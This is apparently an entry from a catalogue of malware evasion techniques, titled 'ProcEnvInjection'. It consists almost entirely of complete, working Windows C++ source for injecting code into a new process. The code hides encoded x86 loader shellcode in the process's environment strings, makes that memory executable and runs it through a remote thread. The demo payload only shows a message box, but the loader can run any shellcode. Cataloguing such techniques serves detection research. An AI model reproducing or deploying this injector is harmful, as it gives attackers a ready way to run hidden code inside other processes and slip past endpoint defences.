Windows C++ / ProcEnvInjection - Remote code injection by abusing process environment strings

Author Unprotect
Platform Windows
Language C++
Technique ProcEnvInjection - Remote code injection by abusing process environment strings

Description:

Author: @x86matthew

Code

#include <stdio.h>
#include <windows.h>

#define LOADER_CODE_OFFSET 8

struct PROCESS_BASIC_INFORMATION
{
	DWORD ExitStatus;
	BYTE *PebBaseAddress;
	DWORD *AffinityMask;
	DWORD BasePriority;
	DWORD *UniqueProcessId;
	DWORD *InheritedFromUniqueProcessId;
};

#define ProcessBasicInformation 0

DWORD (WINAPI *NtQueryInformationProcess)(HANDLE hProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, DWORD ProcessInformationLength, DWORD *ReturnLength);
DWORD (WINAPI *NtCreateThreadEx)(HANDLE *phThreadHandle, DWORD DesiredAccess, PVOID ObjectAttributes, HANDLE hProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, DWORD *pZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID AttributeList);

BYTE bGlobal_LoaderCode[] =
{
	// prefix
	'A', 0x00, 'A', 0x00, 'A', 0x00, '=', 0x00,

	// push edi
	0x57,
	// push esi
	0x56,

	// push 0x40 (PAGE_EXECUTE_READWRITE)
	0x6A, 0x40,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (MEM_COMMIT | MEM_RESERVE)
	0x50,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (Size)
	0x50,
	// xor eax, eax
	0x33, 0xC0,
	// push eax (BaseAddr)
	0x50,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// call eax (VirtualAlloc)
	0xFF, 0xD0,

	// mov edi, eax (DataAddr)
	0x8B, 0xF8,

	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (ProcessID)
	0x50,
	// xor eax, eax
	0x33, 0xC0,
	// push eax (bInheritHandle)
	0x50,
	// push 0x10 (PROCESS_VM_READ)
	0x6A, 0x10,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// call eax (OpenProcess)
	0xFF, 0xD0,

	// mov esi, eax (ProcessHandle)
	0x8B, 0xF0,

	// xor eax, eax
	0x33, 0xC0,
	// push eax (NumberOfBytesRead)
	0x50,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (BytesToRead)
	0x50,
	// push edi (ReadBuffer)
	0x57,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (BaseAddr)
	0x50,
	// push esi (ProcessHandle)
	0x56,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// call eax (ReadProcessMemory)
	0xFF, 0xD0,

	// push esi (ProcessHandle)
	0x56,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// call eax (CloseHandle)
	0xFF, 0xD0,

	// pushad
	0x60,
	// call edi (DataAddr)
	0xFF, 0xD7,
	// popad
	0x61,

	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (MEM_RELEASE)
	0x50,
	// xor eax, eax
	0x33, 0xC0,
	// push eax (Size)
	0x50,
	// push edi (DataAddr)
	0x57,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// call eax (VirtualFree)
	0xFF, 0xD0,

	// pop esi
	0x5E,
	// pop edi
	0x5F,

	// return from thread cleanly - can't use "retn 4"
	// pop eax
	0x58,
	// pop ecx
	0x59,
	// push eax
	0x50,
	// ret
	0xC3,

	// (end of string - 2 widechar null characters)
	0x00, 0x00, 0x00, 0x00
};

DWORD EncodeDwordValue(DWORD dwValue, DWORD *pdwXorValue, DWORD *pdwEncodedValue)
{
	BYTE bOrigValue[4];
	BYTE bXorValue[4];
	BYTE bEncodedValue[4];

	// copy original value
	memcpy((void*)bOrigValue, (void*)&dwValue, sizeof(DWORD));

	// encode value
	for(DWORD i = 0; i < sizeof(DWORD); i++)
	{
		bXorValue[i] = 0x01;
		for(;;)
		{
			// ensure the value contains no 0x00 bytes
			bEncodedValue[i] = bOrigValue[i] ^ bXorValue[i];
			if(bEncodedValue[i] == 0 || bXorValue[i] == 0)
			{
				bXorValue[i]++;
				continue;
			}

			break;
		}
	}

	// store values
	*pdwXorValue = *(DWORD*)bXorValue;
	*pdwEncodedValue = *(DWORD*)bEncodedValue;

	return 0;
}

DWORD StartInjectedProcess(char *pExePath, BYTE *pPayload, DWORD dwPayloadSize)
{
	STARTUPINFO StartupInfo;
	PROCESS_INFORMATION ProcessInfo;
	BYTE bLoaderCode_Copy[sizeof(bGlobal_LoaderCode)];
	PROCESS_BASIC_INFORMATION ProcessBasicInfoData;
	BYTE *pRemotePtr_RtlUserProcessParameters = NULL;
	BYTE *pRemotePtr_EnvironmentStr = NULL;
	DWORD dwOriginalProtect = 0;
	HANDLE hThread = NULL;
	DWORD dwTempProtect = 0;
	wchar_t *pOrigEnvBlock = NULL;
	DWORD dwOrigEnvBlockTotalLengthBytes = 0;
	DWORD dwCurrEnvEntryLength = 0;
	wchar_t *pCurrEnvEntry = NULL;
	BYTE *pNewEnvBlock = NULL;

	// ensure the loader code is 16-bit aligned
	if((sizeof(bGlobal_LoaderCode) % 2) != 0)
	{
		printf("Error: Loader code is out of alignment\n");
		// loader code is out of alignment - add an extra 0x00 character to the end of the data
		return 1;
	}

	printf("Generating loader code...\n");

	// encode values in the loader code to ensure no 0x00 characters exist
	EncodeDwordValue(MEM_COMMIT | MEM_RESERVE, (DWORD*)&bGlobal_LoaderCode[13], (DWORD*)&bGlobal_LoaderCode[18]);
	EncodeDwordValue(dwPayloadSize, (DWORD*)&bGlobal_LoaderCode[24], (DWORD*)&bGlobal_LoaderCode[29]);
	EncodeDwordValue((DWORD)VirtualAlloc, (DWORD*)&bGlobal_LoaderCode[38], (DWORD*)&bGlobal_LoaderCode[43]);
	EncodeDwordValue(GetCurrentProcessId(), (DWORD*)&bGlobal_LoaderCode[52], (DWORD*)&bGlobal_LoaderCode[57]);
	EncodeDwordValue((DWORD)OpenProcess, (DWORD*)&bGlobal_LoaderCode[68], (DWORD*)&bGlobal_LoaderCode[73]);
	EncodeDwordValue(dwPayloadSize, (DWORD*)&bGlobal_LoaderCode[85], (DWORD*)&bGlobal_LoaderCode[90]);
	EncodeDwordValue((DWORD)pPayload, (DWORD*)&bGlobal_LoaderCode[97], (DWORD*)&bGlobal_LoaderCode[102]);
	EncodeDwordValue((DWORD)ReadProcessMemory, (DWORD*)&bGlobal_LoaderCode[109], (DWORD*)&bGlobal_LoaderCode[114]);
	EncodeDwordValue((DWORD)CloseHandle, (DWORD*)&bGlobal_LoaderCode[122], (DWORD*)&bGlobal_LoaderCode[127]);
	EncodeDwordValue(MEM_RELEASE, (DWORD*)&bGlobal_LoaderCode[138], (DWORD*)&bGlobal_LoaderCode[143]);
	EncodeDwordValue((DWORD)VirtualFree, (DWORD*)&bGlobal_LoaderCode[153], (DWORD*)&bGlobal_LoaderCode[158]);

	printf("Appending code to existing environment string...\n");

	// get existing environment block
	pOrigEnvBlock = GetEnvironmentStringsW();
	if(pOrigEnvBlock == NULL)
	{
		printf("Error: Failed to read environment strings\n");
		return 1;
	}

	// calculate length of existing environment block
	for(;;)
	{
		// get current environment string entry
		pCurrEnvEntry = (wchar_t*)((BYTE*)pOrigEnvBlock + dwOrigEnvBlockTotalLengthBytes);

		// calculate length
		dwCurrEnvEntryLength = wcslen(pCurrEnvEntry);
		if(dwCurrEnvEntryLength == 0)
		{
			break;
		}

		// increase total size counter
		dwOrigEnvBlockTotalLengthBytes += ((dwCurrEnvEntryLength + 1) * sizeof(wchar_t));
	}

	// allocate a new environment string buffer
	pNewEnvBlock = (BYTE*)VirtualAlloc(NULL, dwOrigEnvBlockTotalLengthBytes + sizeof(bGlobal_LoaderCode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if(pNewEnvBlock == NULL)
	{
		printf("Error: Failed to allocate local memory\n");

		// error
		FreeEnvironmentStringsW(pOrigEnvBlock);

		return 1;
	}

	// copy the original values and append the loader code
	memcpy((void*)pNewEnvBlock, pOrigEnvBlock, dwOrigEnvBlockTotalLengthBytes);
	memcpy((void*)(pNewEnvBlock + dwOrigEnvBlockTotalLengthBytes), bGlobal_LoaderCode, sizeof(bGlobal_LoaderCode));

	// free temporary environment string buffer
	FreeEnvironmentStringsW(pOrigEnvBlock);

	printf("Creating target process: '%s'...\n", pExePath);

	// launch target process with the injection code in the environment strings	
	memset(&StartupInfo, 0, sizeof(StartupInfo));
	StartupInfo.cb = sizeof(StartupInfo);
	if(CreateProcess(NULL, pExePath, NULL, NULL, 0, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT | CREATE_SUSPENDED, (wchar_t*)pNewEnvBlock, NULL, &StartupInfo, &ProcessInfo) == 0)
	{
		printf("Error: Failed to launch target process\n");

		// error
		VirtualFree(pNewEnvBlock, 0, MEM_RELEASE);

		return 1;
	}

	// free environment block buffer
	VirtualFree(pNewEnvBlock, 0, MEM_RELEASE);

	printf("Locating target code in remote process...\n");

	// get process info
	memset((void*)&ProcessBasicInfoData, 0, sizeof(ProcessBasicInfoData));
	if(NtQueryInformationProcess(ProcessInfo.hProcess, ProcessBasicInformation, &ProcessBasicInfoData, sizeof(ProcessBasicInfoData), NULL) != 0)
	{
		printf("Error: Failed to retrieve process info\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// create a thread that calls Sleep(0) to initialise the environment strings in the PEB
	if(NtCreateThreadEx(&hThread, 0x001FFFFF, NULL, ProcessInfo.hProcess, Sleep, (LPVOID)0, 0, NULL, 0, 0, NULL) != 0)
	{
		printf("Error: Failed to create Sleep thread in remote process\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);

	// read RtlUserProcessParameters ptr from PEB
	if(ReadProcessMemory(ProcessInfo.hProcess, (void*)(ProcessBasicInfoData.PebBaseAddress + 0x10), (void*)&pRemotePtr_RtlUserProcessParameters, sizeof(BYTE*), NULL) == 0)
	{
		printf("Error: Failed to read RtlUserProcessParameters value from PEB\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// read EnvironmentStr ptr from RtlUserProcessParameters
	if(ReadProcessMemory(ProcessInfo.hProcess, (void*)(pRemotePtr_RtlUserProcessParameters + 0x48), (void*)&pRemotePtr_EnvironmentStr, sizeof(BYTE*), NULL) == 0)
	{
		printf("Error: Failed to read EnvironmentStr value from RtlUserProcessParameters\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// update environment string ptr to ignore the original bytes
	pRemotePtr_EnvironmentStr += dwOrigEnvBlockTotalLengthBytes;

	// read EnvironmentStr value
	memset(bLoaderCode_Copy, 0, sizeof(bLoaderCode_Copy));
	if(ReadProcessMemory(ProcessInfo.hProcess, (void*)pRemotePtr_EnvironmentStr, (void*)bLoaderCode_Copy, sizeof(bGlobal_LoaderCode), NULL) == 0)
	{
		printf("Error: Failed to read loader data from EnvironmentStr\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// ensure the loader code has been copied correctly
	if(memcmp(bLoaderCode_Copy, bGlobal_LoaderCode, sizeof(bGlobal_LoaderCode)) != 0)
	{
		printf("Error: Invalid loader data\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	printf("Executing code in remote process...\n");

	// temporarily make the loader code executable
	if(VirtualProtectEx(ProcessInfo.hProcess, pRemotePtr_EnvironmentStr, sizeof(bGlobal_LoaderCode), PAGE_EXECUTE_READWRITE, &dwOriginalProtect) == 0)
	{
		printf("Error: Failed to update memory protection\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// execute payload
	if(NtCreateThreadEx(&hThread, 0x001FFFFF, NULL, ProcessInfo.hProcess, (BYTE*)(pRemotePtr_EnvironmentStr + LOADER_CODE_OFFSET), (LPVOID)0, 0, NULL, 0, 0, NULL) != 0)
	{
		printf("Error: Failed to create code loader thread in remote process\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);

	// restore original protection value
	if(VirtualProtectEx(ProcessInfo.hProcess, pRemotePtr_EnvironmentStr, sizeof(bGlobal_LoaderCode), dwOriginalProtect, &dwTempProtect) == 0)
	{
		printf("Error: Failed to update memory protection\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// resume main thread
	ResumeThread(ProcessInfo.hThread);

	// close handles
	CloseHandle(ProcessInfo.hThread);
	CloseHandle(ProcessInfo.hProcess);

	return 0;
}

int main(int argc, char *argv[])
{
	char *pExePath = NULL;

	BYTE bPayload[] =
	{
		// string: <user32.dll>
		// push 0x00006C6C
		0x68, 0x6C, 0x6C, 0x00, 0x00,
		// push 0x642E3233
		0x68, 0x33, 0x32, 0x2E, 0x64,
		// push 0x72657375
		0x68, 0x75, 0x73, 0x65, 0x72,
		// mov ecx, esp
		0x8B, 0xCC,
		// push ecx (ModuleName)
		0x51,
		// mov eax, LoadLibraryA
		0xB8, 0x44, 0x33, 0x22, 0x11,
		// call eax
		0xFF, 0xD0,

		 // string: <Code injected successfully!>
		// push 0x0021796C
		0x68, 0x6C, 0x79, 0x21, 0x00,
		// push 0x6C756673
		0x68, 0x73, 0x66, 0x75, 0x6C,
		// push 0x73656363
		0x68, 0x63, 0x63, 0x65, 0x73,
		// push 0x75732064
		0x68, 0x64, 0x20, 0x73, 0x75,
		// push 0x65746365
		0x68, 0x65, 0x63, 0x74, 0x65,
		// push 0x6A6E6920
		0x68, 0x20, 0x69, 0x6E, 0x6A,
		// push 0x65646F43
		0x68, 0x43, 0x6F, 0x64, 0x65,
		// mov ecx, esp
		0x8B, 0xCC,
		// string: <www.x86matthew.com>
		// push 0x00006D6F
		0x68, 0x6F, 0x6D, 0x00, 0x00,
		// push 0x632E7765
		0x68, 0x65, 0x77, 0x2E, 0x63,
		// push 0x68747461
		0x68, 0x61, 0x74, 0x74, 0x68,
		// push 0x6D363878
		0x68, 0x78, 0x38, 0x36, 0x6D,
		// push 0x2E777777
		0x68, 0x77, 0x77, 0x77, 0x2E,
		// mov ebx, esp
		0x8B, 0xDC,
		// push MB_OK
		0x6A, 0x00,
		// push ebx (Caption)
		0x53,
		// push ecx (Text)
		0x51,
		// push hWnd
		0x6A, 0x00,
		// mov eax, MessageBoxA
		0xB8, 0x44, 0x33, 0x22, 0x11,
		// call eax
		0xFF, 0xD0,

		// add esp, 0x3C
		0x83, 0xC4, 0x3C,

		// ret
		0xC3
	};

	// set function addresses
	*(DWORD*)&bPayload[19] = (DWORD)LoadLibraryA;
	*(DWORD*)&bPayload[96] = (DWORD)MessageBoxA;

	printf("ProcEnvInjection - www.x86matthew.com\n\n");

	// check params
	if(argc != 2)
	{
		printf("Usage: %s [exe_path]\n\n", argv[0]);

		return 1;
	}

	// get cmd param
	pExePath = argv[1];
	
	// get NtQueryInformationProcess function
	NtQueryInformationProcess = (unsigned long (__stdcall *)(void *,unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess");
	if(NtQueryInformationProcess == NULL)
	{
		return 1;
	}

	// get NtCreateThreadEx function
	NtCreateThreadEx = (unsigned long (__stdcall *)(void ** ,unsigned long,void *,void *,void *,void *,unsigned long,unsigned long *,unsigned long,unsigned long,void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
	if(NtCreateThreadEx == NULL)
	{
		return 1;
	}

	// start target process
	if(StartInjectedProcess(pExePath, bPayload, sizeof(bPayload)) != 0)
	{
		return 1;
	}

	printf("Injected successfully\n");

	return 0;
}

Created

June 13, 2022

Last Revised

April 22, 2024